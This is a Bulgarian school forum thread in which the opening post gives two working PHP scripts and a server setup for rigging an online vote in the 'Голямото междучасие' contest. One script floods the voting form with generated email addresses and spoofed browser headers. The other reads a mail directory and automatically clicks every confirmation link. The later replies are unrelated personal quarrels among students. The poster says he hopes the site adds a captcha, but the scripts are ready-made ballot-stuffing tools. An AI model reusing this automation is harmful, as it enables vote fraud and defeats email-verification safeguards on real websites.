Страници: [1]
  Изпечатай  
Автор Тема: голямото междучасие или колко много ни трябва captcha за гласуването  (Прочетена 1422 пъти)
DataMatrix
Newbie in hell
*
Публикации: 14



Профил WWW Ел. поща
« -: Май 18, 2009, 09:13:27 »

Представям на вашето внимание 2 скрипта, които са с много малки модификации взети от сайта на php.net
2та скрипта в комбинация с домейн с MX пренасочване, пощенски сървър postfix с настроен за maildir пращат много гласове към сайта на междучасие в ползва на даден участник. При желание - голям списък с случайно генерирани имена на пощи, добре избрано име на домейн и доста хора с различни ipта и доставчици би направило косата на разработчика на сайта голямото междучасие бяла. Идеята да си пишете мейла и после да потвърждавате линк от него е крайно остаряла. Видяхме как голямо число групи изведнъж дръпнаха с по няколко хиляди гласа, които сякаш са паднали от небето.

1. Сървъра: моя сървър, той по принцип си е настроен за web и мейл сървър с maildir поддръжка. Съответно директорията с новите писма на потребителя става /home/потребител/maildir/new като файловете вътре имат формат: [unix timestamp].[some hash or something].[mx hostname] (без квадратните скоби). Файловете са с права 0600 (-rw-------).
2. Домейн от хост.бг, контролният панел за домейни при тях май е най-удобен измежду тези на българските хостинг компании.
3. Скрипта, който попълва формата за гласуване. Погледнете ръководството на php за fsockopen() и примера на следният линк: http://bg.php.net/fsockopen#function.fsockopen.examples
Ето го скрипта:
Код:
<?php                                                                                                            
        set_time_limit
(0);                                                                                       
        
$start=1;                                                                                                
        if(
file_exists("counter.txt")) $start=file_get_contents("counter.txt");                                  
for(
$i=$start;$i<=6000;$i++)                                                                                     
{                                                                                                                
$sleep=rand(0,1);                                                                                                
echo 
"\n\n$i. {sleep($sleep)}\n\n";                                                                              

$host="***********.******.info";         

$fp fsockopen($host80$errno$errstr30);
if (!
$fp) {                                     
    echo 
"$errstr ($errno)<br />\n";            
} else {                                        

$ua=array();
$ua[]="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
$ua[]="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
$ua[]="Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1";

        
$content="id_g=ID&email=PREFIX".$i."SUFIX%40DOMAIN.TLD&x=".rand(0,94)."&y=".rand(0,35);
        
$len=strlen($content);
        
$out "POST /vote HTTP/1.1\r
Host: $host\r
User-Agent: "
.$ua[rand(0,2)]."\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Referer: http://***********.******.info/lista\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: $len\r
\r
$content"
;
//echo $out;
    
fwrite($fp$out);
    while (!
feof($fp)) {
        
$str=fgets($fp128);
       
// echo $str;
    
}
    
fclose($fp);
}
file_put_contents("counter.txt",$i+1);
sleep($sleep);
}
?>

Мисля, че не са нужни обяснения.

4. Скрипта, който потвъждава писмата. Почти същия като предния. Слага се в home директорията на получателя на писмата и се изпълнява от получателя, тъй като, както вече споменах, други потребители нямат право да четата писмата (права на файл - 0600)
Код:
<?php                                                                                                                                                            
        set_time_limit
(0);                                                                                                                                       

        function 
confirm($link)
        {                      
                
$host="***********.******.info";
                
//$host="127.0.0.1";            

                
$fp fsockopen($host80$errno$errstr30);
                if (!
$fp) {                                     
                        echo 
"$errstr ($errno)<br />\n";        
                } else {                                        
                        
$ua=array();                            
                        
$ua[]="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
                        
$ua[]="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";                                                                                                                                                                
                        
$ua[]="Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1";                                                                                                 

                                
$out "GET $link HTTP/1.1\r
Host: $host\r                                               
User-Agent: "
.$ua[rand(0,2)]."\r                            
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r                                        
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r                         
Keep-Alive: 300\r                                                        
Connection: keep-alive\r                                                 
\r                                                                       
"
;                                                                       
                
//echo $out;                                             
                        
fwrite($fp$out);                               
                        
$str='';                                         
                        while (!
feof($fp))                               
                                
$str.=fgets($fp128);                   
                        
//echo $str;                                     
                        
$t="<div id=\"message\"><center>";               
                        
$str=substr($str,strpos($str,$t)+strlen($t));    
                        
$str=substr($str,0,strpos($str,"<"));            
                        echo 
$str."\n";                                  
                        
fclose($fp);                                     
                }                                                        
        }                                                                

        
$dir="./maildir/new/";
        
$jnk_dir="./other_maildir/";
        
$d=opendir($dir);  
        
$i=0;              
        if(
file_exists("counter.txt")) $i=file_get_contents("counter.txt");
        while(
$r=readdir($d))                                              
        {                                                                  
                if(
$r!='.' && $r!='..')                                    
                {                                                          
                        
$regex="/(\.info\/vоtе\-[0-9a-zA-Z]{32})/";           
                        
$string=file_get_contents($dir.$r);                
                        echo 
date("H:i:s",substr($r,0,strpos($r,'.')))."\n";
                        if(
preg_match($regex,$string,$a))                   
                        {                                                   
                                if(isset(
$a[1]))                            
                                {                                           
                                        echo 
$a[1]." <br />\n";             
                                        echo 
$i."\n";                       
                                              
$sleep=floor(rand(0,6)*0.5);
                                        
confirm($a[1]);                   
                                        echo 
$a[1]."\n";                    
                                        if(@
unlink($dir.$r)) echo "delete ok\n";
                                        else echo 
"delete fail: ".$r."\n";
                                        
$cntw=file_put_contents("counter.txt",$i+1);
                                        echo 
"Saved counter: ".($cntw===FALSE 'FALSE' $cntw." bytes")."\n";
                                              echo 
"{sleep($sleep)}\n\n";
                                              
sleep($sleep);
                                        
$i=$i+1;
                                }
                                else
                                {
                                        
rename($dir.$r,$jnk_dir.$r);
                                        
$regex="/Subject\:\ ([a-zA-Z\*\[\]\ \.0-9])\r?\n?\r?/";
                                        if(
preg_match($regex,$string,$a))
                                        {
                                                if(isset(
$a[1])) echo '!'.$a."\n";
                                                else echo 
'!!'.$r."\n";
                                        }
                                        else echo 
'!!!'.$r."\n";
                                }
                        }
                        else
                        {
                             echo 
"~! link not found !~\n";
                             
/*   $link=substr($string,strpos($string,'<a'));
                                $link=substr($link,0,strrpos($link,'"'));
                                $link=substr($link,-32-8);
                                $link=substr($link,strpos($link,'-'));
                                echo $link." <br />\n";;
                                        echo $i."\n";
                                              $sleep=floor(rand(0,6)*0.5);
                                        confirm('/vote'.$link);
                                        if(@unlink($dir.$r)) echo "delete ok\n";
                                        else echo "delete fail: ".$r."\n";
                                        $cntw=file_put_contents("counter.txt",$i+1);
                                        echo "Saved counter: ".($cntw===FALSE ? 'FALSE' : $cntw." bytes")."\n";
                                              echo "{sleep($sleep)}\n\n";
                                              sleep($sleep);
                                        $i=$i+1;*/
                        
}
                }
        }
        
closedir($d);
        echo 
$i;


?>

Скрипта сканира папката с писмата, след което изчита писмото, проверява чрез регулярен израз за линка и ако го открие - трие писмото и потвърждава гласа подобно на действието на първият скрипт. Ако не открие линка, мести писмото в друга директория, за да не мине през него отново при сканирането.

Надявам се конструктора на сайта да сложи captcha за да няма подобни изцепки догодина.
« Последна редакция: Май 18, 2009, 09:15:56 от DataMatrix » Активен

NULL
veni_tues
Newbie in hell
*
Публикации: 6


Профил Ел. поща
« Отговор #1 -: Май 18, 2009, 10:55:38 »

Защо ли не се учудвам на тази тема... Ти просто си най-сериозният ученик, който се занимава с ВСИЧКО друго, но не и с належащите неща... Този, който не идва на cisco 3 месеца, после прави 7 теста наведнъж и минава само 2... Този, който купи на колегата си НАЕБАНИ колонки за DVD, вместо 5+1, защото много "разбира"... Този, който се захвана да прави усилвател и го заряза по средата... Същият човек, който ЕДВАМ си взе изпита за промяна на оценката по физика, а В ДЕНЯ НА БАЛА е на матура по физика... Но, разбира се, занимавай се с проблемите на форума и измисли как регистрацията да стане перфектна! Браво, Хари, продължавай в същия дух! Ядосан Сега като преебеш и организацията за правенето на випускник, съвсем ще ми паднеш в очите...
Мнение извън темата
« Последна редакция: Май 26, 2009, 01:33:04 от Freeze » Активен
DataMatrix
Newbie in hell
*
Публикации: 14



Профил WWW Ел. поща
« Отговор #2 -: Май 20, 2009, 11:34:07 »

Нямам намерение да отговарям на тези обвинения. Не всичко може, не всичко става и не за всичко съм виновен аз. Огледай се наоколо, и други хора имат участие в някои от нещата, но пак аз трябва да съм виновен.
Активен

NULL
DataMatrix
Newbie in hell
*
Публикации: 14



Профил WWW Ел. поща
« Отговор #3 -: Май 20, 2009, 01:58:35 »

Моля модератор/админ да изтрие темата
Активен

NULL
tueza
Out of hell
*****
Публикации: 331



Профил
« Отговор #4 -: Май 25, 2009, 01:46:28 »

в туезо нема големи междучасия
Активен

ФУЦК ТУЕЗ

Freeze
Administrator
Out of hell
******
Публикации: 433


238705701 Skype:+moridinbg
Профил
« Отговор #5 -: Май 26, 2009, 01:34:36 »

Някой от администрацията в училището ли те притеснява? Не виждам нищо лошо в темата.
Активен

Out of ТУЕЗО
DataMatrix
Newbie in hell
*
Публикации: 14



Профил WWW Ел. поща
« Отговор #6 -: Май 31, 2009, 08:41:03 »

Някой от администрацията в училището ли те притеснява? Не виждам нищо лошо в темата.
Съвсем не, просто се бях ядосал заради кавгата с veni_tues.
Активен

NULL
Freeze
Administrator
Out of hell
******
Публикации: 433


238705701 Skype:+moridinbg
Профил
« Отговор #7 -: Юли 16, 2009, 04:28:25 »

Тя не е била в един випуск с мен или Соби, за това говори така Смотан
Активен

Out of ТУЕЗО
фуцк туез
Out of hell
*****
Публикации: 389

250182349
Профил WWW Ел. поща
« Отговор #8 -: Септември 24, 2009, 01:42:20 »

ми той си е прав човекУ
Активен
shaft
Administrator
18+
******
Публикации: 205


229140108
Профил
« Отговор #9 -: Септември 25, 2009, 10:11:44 »

Тя не е била в един випуск с мен или Соби, за това говори така Смотан

Ми за жалост, тя е с него и с мене била във випуск, а за радост не в нашия клас! Смотан
Активен

Сек'ви ги има !
Страници: [1]
  Изпечатай  
 
Отиди на: